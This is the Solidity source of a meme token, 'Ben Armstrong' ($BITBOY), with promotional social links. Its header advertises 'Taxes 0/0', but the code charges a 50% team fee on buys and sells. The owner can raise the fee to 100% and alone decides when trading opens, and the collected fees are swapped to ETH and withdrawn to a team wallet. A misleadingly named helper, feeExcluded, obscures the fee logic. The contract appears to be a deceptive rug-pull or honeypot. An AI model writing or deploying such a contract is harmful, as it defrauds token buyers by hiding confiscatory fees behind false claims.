/**
 ____  __  ____  ____   __  _  _
(  _ \(  )(_  _)(  _ \ /  \( \/ )
 ) _ ( )(   )(   ) _ ((  O ))  /
(____/(__) (__) (____/ \__/(__/ 
Ben Armstrong $BITBOY has become the meme you need today, according to his own words! Taxes 0/0 and burned liquidity!
https://t.me/BenArmstrongToken
https://twitter.com/bitboy_crypto/status/1655273967962161153?s=46&t=ZyIEZ7ngDAIPL7WyNmR_CA
SPDX-License-Identifier: MIT                                                    
**/
pragma solidity ^0.8.7;

abstract contract Context {
    function _msgSender() internal view returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IDEXRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract BenArmstrong is IERC20, Ownable {
    address DEAD_ADDRESS = 0x000000000000000000000000000000000000dEaD;
    address ZERO_ADDRESS = 0x0000000000000000000000000000000000000000;
    string constant _name = "Ben Armstrong";
    string constant _symbol = "BITBOY";
    uint8 constant _decimals = 18;
    uint256 _totalSupply = 100_000_000 * (10**_decimals);
    uint256 public walletMax = (_totalSupply * 2) / 100;
    mapping(address => uint256) _balances;
    mapping(address => mapping(address => uint256)) _allowances;
    mapping(address => bool) isFeeFree;
    mapping(address => bool) liqAuthor;
    uint256 feeDenominator = 10000;
    uint256 teamFee = 5000;

    IDEXRouter public router;
    address routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    mapping(address => bool) liquidityPools;

    address public pair;

    uint256 public startedAt;
    bool public swapWorking = false;
    bool fuckBears = false;

    bool swap;
    modifier swapping() {
        swap = true;
        _;
        swap = false;
    }

    modifier walletSizeLimit(address recipient, uint256 amount) {
        if (
            recipient != pair &&
            !liqAuthor[recipient] &&
            !isFeeFree[recipient]
        ) {
            require(
                _balances[recipient] + amount <= walletMax,
                "Exceeds max wallet size"
            );
        }
        _;
    }

    address teamWallet;
    modifier onlyTeam() {
        require(_msgSender() == teamWallet, "Caller is not a team");
        _;
    }

    event FundsDistributed(uint256 teamFee);

    constructor() {
        router = IDEXRouter(routerAddress);
        pair = IDEXFactory(router.factory()).createPair(
            router.WETH(),
            address(this)
        );
        liquidityPools[pair] = true;
        _allowances[owner()][routerAddress] = type(uint256).max;
        _allowances[address(this)][routerAddress] = type(uint256).max;

        isFeeFree[owner()] = true;
        isFeeFree[address(this)] = true;
        liqAuthor[owner()] = true;

        _balances[owner()] = _totalSupply;

        emit Transfer(address(0), owner(), _totalSupply);
    }

    receive() external payable {}

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    function decimals() external pure returns (uint8) {
        return _decimals;
    }

    function symbol() external pure returns (string memory) {
        return _symbol;
    }

    function name() external pure returns (string memory) {
        return _name;
    }

    function getOwner() external view returns (address) {
        return owner();
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address holder, address spender)
        external
        view
        override
        returns (uint256)
    {
        return _allowances[holder][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function setTeamWallet(address _team) external onlyOwner {
        teamWallet = _team;
    }

    function setTax(uint256 newFee) external onlyOwner {
        require(
            newFee >= 0 && newFee <= feeDenominator,
            "Wrong tax"
        );
        teamFee = newFee;
    }

    function feeWithdrawal(uint256 amount) external onlyTeam {
        uint256 amountETH = address(this).balance;
        payable(teamWallet).transfer((amountETH * amount) / 100);
    }

    function startTrading() external onlyOwner {
        require(!fuckBears);
        fuckBears = true;
        startedAt = block.number;
    }

    function transfer(address recipient, uint256 amount)
        external
        override
        returns (bool)
    {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external override returns (bool) {
        if (_allowances[sender][msg.sender] != type(uint256).max) {
            _allowances[sender][msg.sender] =
                _allowances[sender][msg.sender] -
                amount;
        }

        return _transferFrom(sender, recipient, amount);
    }

    function _transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) internal walletSizeLimit(recipient, amount) returns (bool) {
        require(sender != address(0), "ERC20: transfer from 0x0");
        require(recipient != address(0), "ERC20: transfer to 0x0");
        require(amount > 0, "Amount must be > zero");
        require(_balances[sender] >= amount, "Insufficient balance");

        if (!launched() && liquidityPools[recipient]) {
            require(liqAuthor[sender], "Liquidity not added yet.");
            start();
        }

        if (!fuckBears) {
            require(
                liqAuthor[sender] || liqAuthor[recipient],
                "Trading not open."
            );
        }

        if (swap) {
            return _basicTransfer(sender, recipient, amount);
        }

        _balances[sender] = _balances[sender] - amount;

        uint256 amountReceived = feeExcluded(sender)
            ? takeFee(recipient, amount)
            : amount;

        if (shouldSwapBack(recipient)) {
            if (amount > 0) swapBack();
        }

        _balances[recipient] = _balances[recipient] + amountReceived;

        emit Transfer(sender, recipient, amountReceived);
        return true;
    }

    function launched() internal view returns (bool) {
        return startedAt != 0;
    }

    function start() internal {
        startedAt = block.number;
        swapWorking = true;
    }

    function _basicTransfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (bool) {
        _balances[sender] = _balances[sender] - amount;
        _balances[recipient] = _balances[recipient] + amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function feeExcluded(address sender) internal view returns (bool) {
        return !isFeeFree[sender];
    }

    function isPurchaseOrSale(address sender, address recipient)
        internal
        view
        returns (bool)
    {
        return sender == pair || recipient == pair;
    }

    function takeFee(address recipient, uint256 amount)
        internal
        returns (uint256)
    {
        if (!isPurchaseOrSale(msg.sender, recipient)) {
            return amount;
        }

        uint256 feeAmount = (amount * teamFee) / feeDenominator;
        _balances[address(this)] += feeAmount;

        return amount - feeAmount;
    }

    function shouldSwapBack(address recipient) internal view returns (bool) {
        return
            !liquidityPools[msg.sender] &&
            !swap &&
            swapWorking &&
            liquidityPools[recipient];
    }

    function swapBack() internal swapping {
        if (_balances[address(this)] > 0) {
            uint256 amountToSwap = _balances[address(this)];

            address[] memory path = new address[](2);
            path[0] = address(this);
            path[1] = router.WETH();

            router.swapExactTokensForETHSupportingFeeOnTransferTokens(
                amountToSwap,
                0,
                path,
                address(this),
                block.timestamp
            );

            emit FundsDistributed(amountToSwap);
        }
    }

    function addLiquidityAuthor(address _liquidityAuthor) external onlyOwner {
        liqAuthor[_liquidityAuthor] = true;
    }

    function changeOptions(bool _enabled) external onlyOwner {
        swapWorking = _enabled;
    }

    function getCurrentSupply() public view returns (uint256) {
        return _totalSupply - (balanceOf(DEAD_ADDRESS) + balanceOf(ZERO_ADDRESS));
    }
}